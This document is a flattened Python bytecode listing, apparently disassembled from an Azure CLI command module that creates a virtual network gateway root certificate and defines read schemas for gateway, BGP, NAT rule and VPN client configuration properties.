CALL_FUNCTION RETURN_VALUE LOAD_FAST session LOAD_ATTR http_response LOAD_ATTR status_code LOAD_CONST (200, 201) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR client LOAD_ATTR build_lro_polling LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR no_wait LOAD_FAST session LOAD_FAST self LOAD_ATTR on_200_201 LOAD_FAST self LOAD_ATTR on_error LOAD_CONST 'final-state-via' LOAD_CONST 'azure-async-operation' BUILD_MAP LOAD_FAST self LOAD_ATTR url_parameters LOAD_CONST ('lro_options', 'path_format_arguments') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD on_error LOAD_FAST session LOAD_ATTR http_response CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR client LOAD_ATTR format_url LOAD_CONST ('/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworkGateways/{virtualNetworkGatewayName}',) LOAD_FAST self LOAD_ATTR url_parameters CALL_FUNCTION RETURN_VALUE LOAD_CONST 'PUT' RETURN_VALUE LOAD_CONST 'ODataV4Format' RETURN_VALUE LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'resourceGroupName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR resource_group LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'subscriptionId' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR subscription_id LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'virtualNetworkGatewayName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR gateway_name LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR serialize_query_param LOAD_CONST 'api-version' LOAD_CONST '2022-01-01' LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD serialize_header_param LOAD_CONST 'Content-Type' LOAD_CONST 'application/json' CALL_METHOD LOAD_FAST self LOAD_METHOD serialize_header_param LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR new_content_builder LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR vars LOAD_ATTR instance LOAD_CONST ('value',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _content_value STORE_FAST _builder LOAD_FAST self LOAD_METHOD serialize_content LOAD_FAST _content_value CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD deserialize_http_content LOAD_FAST session CALL_METHOD STORE_FAST data LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR set_var LOAD_CONST 'instance' LOAD_FAST data LOAD_FAST self LOAD_ATTR _build_schema_on_200_201 LOAD_CONST ('schema_builder',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_on_200_201 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_on_200_201 RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST cls STORE_ATTR _schema_on_200_201 LOAD_GLOBAL _CreateHelper LOAD_METHOD _build_schema_virtual_network_gateway_read LOAD_FAST cls LOAD_ATTR _schema_on_200_201 CALL_METHOD POP_TOP LOAD_FAST cls LOAD_ATTR _schema_on_200_201 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Create.InstanceCreateByJson' STORE_NAME __qualname__ LOAD_CONST <code object __call__ at 0x7faa8c203150, file "f.py", line 313> LOAD_CONST 'Create.InstanceCreateByJson.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_CONST <code object _create_instance at 0x7faa8c203ed0, file "f.py", line 316> LOAD_CONST 'Create.InstanceCreateByJson._create_instance' MAKE_FUNCTION STORE_NAME _create_instance LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR selectors LOAD_ATTR subresource LOAD_METHOD set LOAD_FAST self LOAD_METHOD _create_instance CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR new_content_builder LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_GLOBAL AAZObjectType LOAD_CONST ('typ',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _instance_value STORE_FAST _builder LOAD_FAST _builder LOAD_METHOD set_prop LOAD_CONST 'name' LOAD_GLOBAL AAZStrType LOAD_CONST '.name' CALL_METHOD POP_TOP LOAD_FAST _builder LOAD_ATTR set_prop LOAD_CONST 'properties' LOAD_GLOBAL AAZObjectType LOAD_CONST '.' LOAD_CONST 'flags' LOAD_CONST True LOAD_CONST True LOAD_CONST ('required', 'client_flatten') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('typ_kwargs',) CALL_FUNCTION POP_TOP LOAD_FAST _builder LOAD_METHOD get LOAD_CONST '.properties' CALL_METHOD STORE_FAST properties LOAD_FAST properties LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST properties LOAD_ATTR set_prop LOAD_CONST 'publicCertData' LOAD_GLOBAL AAZStrType LOAD_CONST '.root_cert_data' LOAD_CONST 'flags' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP BUILD_MAP LOAD_CONST ('typ_kwargs',) CALL_FUNCTION POP_TOP LOAD_FAST _instance_value RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_CreateHelper' STORE_NAME __qualname__ LOAD_CONST 'Helper class for Create' STORE_NAME __doc__ LOAD_CONST None STORE_NAME _schema_address_space_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_address_space_read at 0x7faa8c203540, file "f.py", line 345> LOAD_CONST '_CreateHelper._build_schema_address_space_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_address_space_read LOAD_CONST None STORE_NAME _schema_sub_resource_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_sub_resource_read at 0x7faa8c203e40, file "f.py", line 365> LOAD_CONST '_CreateHelper._build_schema_sub_resource_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_sub_resource_read LOAD_CONST None STORE_NAME _schema_virtual_network_gateway_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_virtual_network_gateway_read at 0x7faa8c203ae0, file "f.py", line 380> LOAD_CONST '_CreateHelper._build_schema_virtual_network_gateway_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_virtual_network_gateway_read LOAD_CONST None STORE_NAME _schema_vpn_nat_rule_mapping_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_vpn_nat_rule_mapping_read at 0x7faa8c203d20, file "f.py", line 814> LOAD_CONST '_CreateHelper._build_schema_vpn_nat_rule_mapping_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_vpn_nat_rule_mapping_read LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_address_space_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_address_space_read LOAD_ATTR address_prefixes LOAD_FAST _schema STORE_ATTR address_prefixes LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_address_space_read STORE_FAST _schema_address_space_read LOAD_FAST _schema_address_space_read STORE_FAST address_space_read LOAD_GLOBAL AAZListType LOAD_CONST 'addressPrefixes' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST address_space_read STORE_ATTR address_prefixes LOAD_FAST _schema_address_space_read LOAD_ATTR address_prefixes STORE_FAST address_prefixes LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST address_prefixes STORE_ATTR Element LOAD_FAST cls LOAD_ATTR _schema_address_space_read LOAD_ATTR address_prefixes LOAD_FAST _schema STORE_ATTR address_prefixes LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_sub_resource_read STORE_FAST _schema_sub_resource_read LOAD_FAST _schema_sub_resource_read STORE_FAST sub_resource_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST sub_resource_read STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_sub_resource_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR extended_location LOAD_FAST _schema STORE_ATTR extended_location LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_virtual_network_gateway_read STORE_FAST _schema_virtual_network_gateway_read LOAD_FAST _schema_virtual_network_gateway_read STORE_FAST virtual_network_gateway_read LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR etag LOAD_GLOBAL AAZObjectType LOAD_CONST 'extendedLocation' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR extended_location LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR location LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST True LOAD_CONST True LOAD_CONST ('required', 'client_flatten') BUILD_CONST_KEY_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR properties LOAD_GLOBAL AAZDictType CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR tags LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST virtual_network_gateway_read STORE_ATTR type LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR extended_location STORE_FAST extended_location LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST extended_location STORE_ATTR name LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST extended_location STORE_ATTR type LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZBoolType LOAD_CONST 'activeActive' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR active_active LOAD_GLOBAL AAZObjectType LOAD_CONST 'bgpSettings' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR bgp_settings LOAD_GLOBAL AAZObjectType LOAD_CONST 'customRoutes' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR custom_routes LOAD_FAST cls LOAD_METHOD _build_schema_address_space_read LOAD_FAST properties LOAD_ATTR custom_routes CALL_METHOD POP_TOP LOAD_GLOBAL AAZBoolType LOAD_CONST 'disableIPSecReplayProtection' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR disable_ip_sec_replay_protection LOAD_GLOBAL AAZBoolType LOAD_CONST 'enableBgp' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_bgp LOAD_GLOBAL AAZBoolType LOAD_CONST 'enableBgpRouteTranslationForNat' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_bgp_route_translation_for_nat LOAD_GLOBAL AAZBoolType LOAD_CONST 'enableDnsForwarding' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_dns_forwarding LOAD_GLOBAL AAZBoolType LOAD_CONST 'enablePrivateIpAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_private_ip_address LOAD_GLOBAL AAZObjectType LOAD_CONST 'gatewayDefaultSite' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR gateway_default_site LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR gateway_default_site CALL_METHOD POP_TOP LOAD_GLOBAL AAZStrType LOAD_CONST 'gatewayType' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR gateway_type LOAD_GLOBAL AAZStrType LOAD_CONST 'inboundDnsForwardingEndpoint' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR inbound_dns_forwarding_endpoint LOAD_GLOBAL AAZListType LOAD_CONST 'ipConfigurations' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_configurations LOAD_GLOBAL AAZListType LOAD_CONST 'natRules' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR nat_rules LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'resourceGuid' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR resource_guid LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST properties STORE_ATTR sku LOAD_GLOBAL AAZStrType LOAD_CONST 'vNetExtendedLocationResourceId' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR v_net_extended_location_resource_id LOAD_GLOBAL AAZObjectType LOAD_CONST 'vpnClientConfiguration' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR vpn_client_configuration LOAD_GLOBAL AAZStrType LOAD_CONST 'vpnGatewayGeneration' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR vpn_gateway_generation LOAD_GLOBAL AAZStrType LOAD_CONST 'vpnType' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR vpn_type LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings STORE_FAST bgp_settings LOAD_GLOBAL AAZIntType CALL_FUNCTION LOAD_FAST bgp_settings STORE_ATTR asn LOAD_GLOBAL AAZStrType LOAD_CONST 'bgpPeeringAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST bgp_settings STORE_ATTR bgp_peering_address LOAD_GLOBAL AAZListType LOAD_CONST 'bgpPeeringAddresses' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST bgp_settings STORE_ATTR bgp_peering_addresses LOAD_GLOBAL AAZIntType LOAD_CONST 'peerWeight' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST bgp_settings STORE_ATTR peer_weight LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings LOAD_ATTR bgp_peering_addresses STORE_FAST bgp_peering_addresses LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST bgp_peering_addresses STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings LOAD_ATTR bgp_peering_addresses LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZListType LOAD_CONST 'customBgpIpAddresses' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR custom_bgp_ip_addresses LOAD_GLOBAL AAZListType LOAD_CONST 'defaultBgpIpAddresses' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR default_bgp_ip_addresses LOAD_GLOBAL AAZStrType LOAD_CONST 'ipconfigurationId' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR ipconfiguration_id LOAD_GLOBAL AAZListType LOAD_CONST 'tunnelIpAddresses' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR tunnel_ip_addresses LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings LOAD_ATTR bgp_peering_addresses LOAD_ATTR Element LOAD_ATTR custom_bgp_ip_addresses STORE_FAST custom_bgp_ip_addresses LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST custom_bgp_ip_addresses STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings LOAD_ATTR bgp_peering_addresses LOAD_ATTR Element LOAD_ATTR default_bgp_ip_addresses STORE_FAST default_bgp_ip_addresses LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST default_bgp_ip_addresses STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR bgp_settings LOAD_ATTR bgp_peering_addresses LOAD_ATTR Element LOAD_ATTR tunnel_ip_addresses STORE_FAST tunnel_ip_addresses LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tunnel_ip_addresses STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR ip_configurations STORE_FAST ip_configurations LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST ip_configurations STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR ip_configurations LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR ip_configurations LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAddress' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_address LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAllocationMethod' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_allocation_method LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZObjectType LOAD_CONST 'publicIPAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR public_ip_address LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR public_ip_address CALL_METHOD POP_TOP LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST properties STORE_ATTR subnet LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR subnet CALL_METHOD POP_TOP LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR nat_rules STORE_FAST nat_rules LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST nat_rules STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR nat_rules LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR type LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR nat_rules LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZListType LOAD_CONST 'externalMappings' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR external_mappings LOAD_GLOBAL AAZListType LOAD_CONST 'internalMappings' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR internal_mappings LOAD_GLOBAL AAZStrType LOAD_CONST 'ipConfigurationId' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_configuration_id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST properties STORE_ATTR mode LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST properties STORE_ATTR type LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR nat_rules LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR external_mappings STORE_FAST external_mappings LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST external_mappings STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_vpn_nat_rule_mapping_read LOAD_FAST external_mappings LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR nat_rules LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR internal_mappings STORE_FAST internal_mappings LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST internal_mappings STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_vpn_nat_rule_mapping_read LOAD_FAST internal_mappings LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR sku STORE_FAST sku LOAD_GLOBAL AAZIntType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST sku STORE_ATTR capacity LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST sku STORE_ATTR name LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST sku STORE_ATTR tier LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration STORE_FAST vpn_client_configuration LOAD_GLOBAL AAZStrType LOAD_CONST 'aadAudience' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR aad_audience LOAD_GLOBAL AAZStrType LOAD_CONST 'aadIssuer' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR aad_issuer LOAD_GLOBAL AAZStrType LOAD_CONST 'aadTenant' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR aad_tenant LOAD_GLOBAL AAZStrType LOAD_CONST 'radiusServerAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR radius_server_address LOAD_GLOBAL AAZStrType LOAD_CONST 'radiusServerSecret' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR radius_server_secret LOAD_GLOBAL AAZListType LOAD_CONST 'radiusServers' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR radius_servers LOAD_GLOBAL AAZListType LOAD_CONST 'vpnAuthenticationTypes' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_authentication_types LOAD_GLOBAL AAZObjectType LOAD_CONST 'vpnClientAddressPool' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_client_address_pool LOAD_FAST cls LOAD_METHOD _build_schema_address_space_read LOAD_FAST vpn_client_configuration LOAD_ATTR vpn_client_address_pool CALL_METHOD POP_TOP LOAD_GLOBAL AAZListType LOAD_CONST 'vpnClientIpsecPolicies' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_client_ipsec_policies LOAD_GLOBAL AAZListType LOAD_CONST 'vpnClientProtocols' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_client_protocols LOAD_GLOBAL AAZListType LOAD_CONST 'vpnClientRevokedCertificates' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_client_revoked_certificates LOAD_GLOBAL AAZListType LOAD_CONST 'vpnClientRootCertificates' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_client_configuration STORE_ATTR vpn_client_root_certificates LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR radius_servers STORE_FAST radius_servers LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST radius_servers STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR radius_servers LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'radiusServerAddress' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR radius_server_address LOAD_GLOBAL AAZIntType LOAD_CONST 'radiusServerScore' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR radius_server_score LOAD_GLOBAL AAZStrType LOAD_CONST 'radiusServerSecret' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR radius_server_secret LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_authentication_types STORE_FAST vpn_authentication_types LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST vpn_authentication_types STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_ipsec_policies STORE_FAST vpn_client_ipsec_policies LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST vpn_client_ipsec_policies STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_ipsec_policies 